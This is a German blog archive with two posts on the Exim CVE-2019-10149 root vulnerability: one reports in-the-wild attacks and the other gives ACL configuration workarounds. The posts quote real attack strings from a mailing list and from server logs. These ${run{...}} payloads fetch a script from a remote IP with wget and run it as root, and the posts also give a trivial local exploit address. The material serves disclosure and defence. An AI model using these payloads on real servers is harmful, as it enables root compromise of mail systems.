Tag Archives: CVE-2019-10149

Exim – Exploit in der Wildnis unterwegs

Posted on by

Vor ein paar Tagen ging ja die Exim Root-Schwachstelle durch alle IT-Portale. Wenn Ihr Euch an diesen Beitrag erinnern Exim < 4.92 mit CVE-2019-10149 mögt.Darin hatte ich u.a. auf das Problem und die Lösung hingewiesen.

Was passiert, wenn man nicht reagiert

Heute morgen erreichte die Exim-Mailingliste folgende E-Mail:

hi all,

My mail system has just been hacked; it’s running Debian unstable exim 4.91-9

Could it be CVE-2019-10149? I don’t see any reports of active exploits yet.

The reasons I suspect exim involvement:

• starting today, every 5 mins getting frozen messages:

The following address(es) have yet to be delivered:

root+${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dT\x2036\x20https\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldm1ip\x20\x2dO\x20\x2froot\x2f\x2efabyfmnp\x20\x26\x26\x20sh\x20\x2froot\x2f\x2efabyfmnp\x20\x2dn\x22\x20\x26}}@xxx: Too many „Received“ headers – suspected mail loop

• the trojan horse scripts, that were successfully installed on my system, with root access, are all group Debian-exim

Luckily, it looks like the trojans did nothing more than repeated attempts to open up my ssh server to root logins, which I think (and hope) didn’t actually work, so I may have been lucky, and the damage isn’t widespread.

ought I to be reporting this anywhere?

Darauf hin habe ich mal die Logs des Servers analysiert, für den ich den kleinen Patch geschrieben habe und seht, was ich dort fand :

2019-06-10 04:31:04 H=(xxxxxxxxxxxxxx.xx) [89.248.171.57] F=<> rejected RCPT <${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2etuked\x20\x26\x26\x20sh\x20\x2froot\x2f\x2etuked\x20\x2dn\x22\x20\x26}}@xxxxxxxxxxxxxx.xx>: Restricted characters in address
2019-06-10 04:31:04 H=(xxxxxxxxxxxxxx.xx) [89.248.171.57] F=<> rejected RCPT <${run{\x2fbin\x2fbash\x20\x2dc\x20\x22wget\x20\x2d\x2dno\x2dcheck\x2dcertificate\x20\x2dt\x203\x20\x2dT\x2075\x20http\x3a\x2f\x2f185\x2e162\x2e235\x2e211\x2fldmxim\x20\x2dO\x20\x2froot\x2f\x2ekqvuhtpi\x20\x26\x26\x20sh\x20\x2froot\x2f\x2ekqvuhtpi\x20\x2dn\x22\x20\x26}}@xxxxxxxxxxxxxx.xx>: Restricted characters in address
… und noch ein paar mehr davon …

Ja, sie es versucht, der Exploit ist folglich in der Wildnis unterwegs.

Exploit ist am Werk

Wer jetzt nicht seinen anfälligen Exim wie in Exim < 4.92 mit cve-2019-10149 beschrieben patched oder auf einen neueren Exim updated, der gehört bestraft und wie man oben sieht, wird er das auch.

Schauen wir uns mal an, was da passieren sollte:

${run{/bin/bash -c „wget –no-check-certificate -t 3 -T 75 http://185.162.235.211/ldmxim -O /root/.tuked && sh /root/.tuked -n“ &}

Hier wird also ein in Russland gehostedes Script per wget mit Rootrechten heruntergeladen und ausgeführt. Naja, es „sollte“ ausgeführt werden. Hat ja nicht geklappt, weil der Eximpatch das verhindert hat.

Bei dem gehackten Debianserver kam eine leicht geänderte Anweisung zum Einsatz:

${run{/bin/bash -c „wget –no-check-certificate -T 36 https://185.162.235.211/ldm1ip -O /root/.fabyfmnp && sh /root/.fabyfmnp -n“ &}}

von der selben Gruppe offensichtlich wie bei dem von mir betreuten Server, aber mit einem zufälligen Dateinamen. Ich tippe mal darauf, daß es damit Firewalls schwieriger gemacht werden soll, diese Anweisung gleich zu filtern. Als Firewallregelschreiber würde ich auf „${run“ filtern, aber ok, das ist ja nur meine Meinung :DD

-t meint übrigens retries. Da hat wohl jemand bemerkt, daß er zu viele anfällige Server gleichzeitig attackiert hat und sein Webdienst überlastet war 😀 Auch das größere Timeout mit -T 75 spricht dafür, daß das Ziel wohl schlecht zu erreichen war. Da muß man dann mal  kreativ werden 😉

Update 16:38 Uhr

So langsam kommen die Hackberichte rein. Zimbra scheint von dem EXIM CVE  betroffen zu sein:

https://forums.zimbra.org/viewtopic.php?t=65932&start=120#p290739

Nach dem ich das gelesen habe, kommt bei denen keiner auf Idee den Server durch Reinstallation zu entseuchen? Deren Crontab scheint ihnen dagegen sehr wichtig zu sein.

Update 17:00 Uhr

Die CPanel Supporter haben doch glatt für alte, gar nicht mehr maintainte Versionen ein Update rausgebracht.

Exim CVE-2019-10149: how to protect yourself

Leider ist es natürlich falsch zu behaupten, es gibt keine Gegenmaßnahmen, denn die stehen ja hier oben wirkungsvoll demonstriert zur Verfügung 🙂

Update 17:06 Uhr

Hier gibt es am Ende eine schöne Liste über die Verteilung der Exim Versionen:

Critical Exim flaw exploitable locally and remotely, patch ASAP!

Sehr aufschlussreich, hätte ich gar nicht gedacht.

Exim < 4.92 mit CVE-2019-10149

Posted on by

Jetzt muß ich es Euch doch erzählen, wo ich doch dachte, es dauert noch länger bis die Katze aus dem Sack ist. Ok, Exim < 4.92 hat eine schwerwiegende Sicherheitslücke, die man auch noch trivial ausnutzen kann: CVE-2019-10149

Um die Schwachstelle wurde viel Wirbel gemacht, dummerweise bekam bislang niemand die Zähne auseinander, ob man das auch ohne Update abwehren kann. Schauen wir uns mal an worum es überhaupt geht.

Was ist der triviale Exploit?

Es reicht, wenn man als lokaler Angreifer eine Email mit dem Sendmailersatz von Exim an „<${run{bash}}@zieldomain.de>“ sendet. Im Augenblick wo die zugestellt wird, wird der eingebettete Befehle (hier bash) als Root ausgeführt.

Das ganze kann man ggf. auch per Remote ausführen, so daß es eine richtig fiese Schwachstelle ist. Betroffen sind aber nur Versionen  > 4.87 < 4.92 . Dazu müssen aber diverse Dinge in der Config erlaubt sein, was in der Defaultkonfig nur teilweise der Fall ist. z.b. kann man keine „/“ in dem Befehl unterbringen, weil das unerlaubte Zeichen sind. Das schränkt den Angreifer natürlich stark sein.

Da selbst auf der Eximliste bis heute viel Geheimniskrämerrei im Spiel war, hier die ebenso triviale Gegenmaßnahmen:

Gegenmaßnamen

Einfach kein „$“ in Emailadressen erlauben 😀 Das war es. Da fiel mir nur ARGS zu ein 😀

Das hier kommt in Eure Exim Konfiguration rein, dann Exim neu starten:

acl_check_rcpt:

deny message = Restricted characters in address
domains = +local_domains
local_parts = ^[.] : ^.*[\$@%!/|]

deny message = Restricted characters in address
domains = !+local_domains
local_parts = ^[./|] : ^.*[\$@%!] : ^.*/\\.\\./

….

acl_check_mail:

…

drop message = Restricted characters in address
condition = ${if match{$sender_address}{\N.*\$.*run.*\N}{1}{0}}

# WICHTIG: Vor dieser Anweisung reinschreiben, sonst Essig!

accept hosts = +relay_from_hosts

…

Das würgt den Angreifer ab, bevor die Email zugestellt wird.

Die bessere Gegenmaßnahme wäre natürlich auf einen aktuelleren Exim umzusteigen. Aber wie das so ist, es gibt halt immer „Gründe“ warum und wieso was nicht aktualisiert werden kann.

Keiner bekommt die Zähne auseinander…

Was mich am allermeisten an der Lücke nervt ist, daß diese billige Gegenmaßnahme im Advisory von Qualys und in den Hinweisen vom Exim Team nicht vorkommen. Bei den Exim Leuten kann ich es noch verstehen, weil die den Bug selbstständig schon Anfang des Jahres gefixt hatten und halt mit Recht sagen können: Mach halt Updates.

Bei Qualyssieht anders aus, die schreiben :

As per the distros list policy:

Below is an abridged version of our advisory (with all the vulnerability
details, but without exploitation details); we will publish the complete
version in 24 hours, or as soon as third-party exploits are published,
whichever happens first.

We believe that it makes no sense to delay this any longer than that:
this vulnerability is trivially exploitable in the local and non-default
cases (attackers will have working exploits before that, public or not);
and in the default case, a remote attack takes a long time to succeed
(to the best of our knowledge).

Schön das Ihr den Exploit weggelassen habt, wie wär es mal mit dem Workaround, so das die guten Jungs einen kleinen Vorsprung haben?  Und dieser kryptische Hinweis „a remote attack takes a long time to succeed“ meint übrigens, das man seinen Exim mal alle 24h neu starten sollte, weil es da wohl irgend einen Scheiß mit „Teergruben“ gibt.

Das sind i.d.R. Spamfallen, die so langsam antworten, daß der Angriff des Angreifers einfach zäh wie in einer Teergrube abläuft, bis hin zu „gar nicht voran kommt“. So was in der Art nutzen die Angreifer hier aus. Daher einmal im Cron „killall -9 exim; systemctl restart exim“ per Cron: Fertig.